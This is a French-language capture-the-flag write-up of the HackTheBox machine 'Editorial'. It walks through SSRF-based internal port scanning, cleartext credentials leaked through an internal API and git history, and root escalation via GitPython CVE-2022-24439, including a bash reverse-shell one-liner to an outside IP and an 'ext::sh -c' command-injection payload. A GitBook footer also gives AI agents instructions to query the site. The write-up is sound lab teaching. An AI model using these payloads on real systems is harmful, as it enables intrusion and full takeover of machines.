> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/editorial-hackthebox-writeup.md). # Récapitulatif HackTheBox d'Editorial Récapitulatif de la machine HackTheBox Linux facile Editorial couvrant SSRF, Git Log, Git Python, avec des notes pratiques d'énumération, d'exploitation, de prise d'appui et d'élévation de privilèges. {% embed url="" %} {% hint style="warning" %} **Compétences :** * SSRF * Journal Git * Git Python {% endhint %} ## Reconnaissance **Configuration de l'espace de travail :** Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

**Vérification de la connectivité VPN** Vérifiez la connectivité VPN afin d'assurer une communication stable avec la machine cible.

**Découverte des ports ouverts avec Nmap :** Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap : ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.20 -oG allPorts ```

**Analyse des ports ouverts avec extractPorts :** Utilisez la fonction extractPorts pour afficher les ports ouverts dans un format concis et les copier dans le presse-papiers.

**Analyse des versions des ports avec Nmap :** Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" : ```bash nmap -sCV -p80,22 10.10.11.20 -oN targeted ```

Pour résoudre les noms de domaine en adresses IP via DNS, insérez le nom de domaine associé à son adresse IP dans le `/etc/hosts` fichier.

## Vulnérabilité [SSRF](/fr/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-request-forgery-ssrf.md): Le bouton « Browse » nous permet de télécharger un fichier censé être une image représentant la couverture d'un livre. Le champ de texte « Cover URL linked to your book » permet quant à lui d'entrer une URL afin qu'elle puisse être consultée par le service et qu'une image puisse être téléchargée.

#### **Ouverture** [**Burp Suite**](/fr/hacking-tools/web/burpsuite.md)**:** Lorsqu'une image est téléversée sur le serveur, un lien vers son emplacement de stockage est fourni.

Nous lançons ensuite une attaque par force brute sur les 65 535 ports et constatons que seul le port 5000 renvoie une réponse différente.

En vérifiant le contenu du port interne 5000, nous découvrons qu'il permet de télécharger un fichier.

Ce fichier, au format JSON, répertorie les API internes avec leurs routes associées. Parmi elles, la `message/authors` route semble particulièrement critique.

Avec Burp Suite, nous accédons donc au fichier via le port 5000 à l'adresse suivante : ```url http://127.0.0.1:5000/api/latest/metadata/messages/authors ```

Dans ce fichier, nous trouvons également un identifiant et un mot de passe en clair `dev:dev080217_devAPI!@`

Nous essayons ensuite de nous connecter à `SSH` via le port 22, qui est ouvert, et parvenons à obtenir le flag utilisateur.

## Élévation de privilèges #### Après avoir accédé au serveur Linux, il est recommandé d'exécuter les commandes suivantes dans le terminal afin d'optimiser l'efficacité et le confort de travail : ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` En nous plaçant à la racine du système, nous constatons la présence de deux utilisateurs : **dev** et **prod**.

L’utilisateur **dev** a deux dossiers visibles et un dossier caché nommé « git ». En exécutant la `git log` commande, nous observons deux commits distincts.

Parmi ces commits, le mot de passe de l'utilisateur **prod** apparaît en clair : `prod:080217_Producti0n_2023!@`.

Nous nous connectons ensuite via SSH en tant qu'utilisateur **prod**.

### Sudoers : En exécutant la `sudo -l` commande, nous découvrons que nous avons la possibilité d'exécuter un script en tant que **root**.

Une version vulnérable de la bibliothèque Git, identifiée par la `clone_from` fonction, est présente. En affichant la liste des paquets Python avec `pip3 list`, nous remarquons que **GitPython 3.1.29** est installée, une version connue pour la vulnérabilité **CVE-2022-24439**, qui permet l'exécution de code arbitraire. Cette faille peut être exploitée comme suit :

{% embed url="" %} Nous allons créer un script d'exploitation dans le répertoire temporaire pour obtenir un shell inversé : ```bash bash -i >& /dev/tcp/10.10.14.139/4444 0>&1 ```

Ensuite, sur notre machine, nous écoutons sur le port 4444 en utilisant **netcat**

Enfin, nous exécutons le binaire avec **sudo**, en ajoutant notre charge utile : ``` ext::sh -c bash% /tmp/shell ``` {% code overflow="wrap" fullWidth="true" %} ```bash sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c bash% /tmp/shell' ``` {% endcode %} ### Flag root : )

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/editorial-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.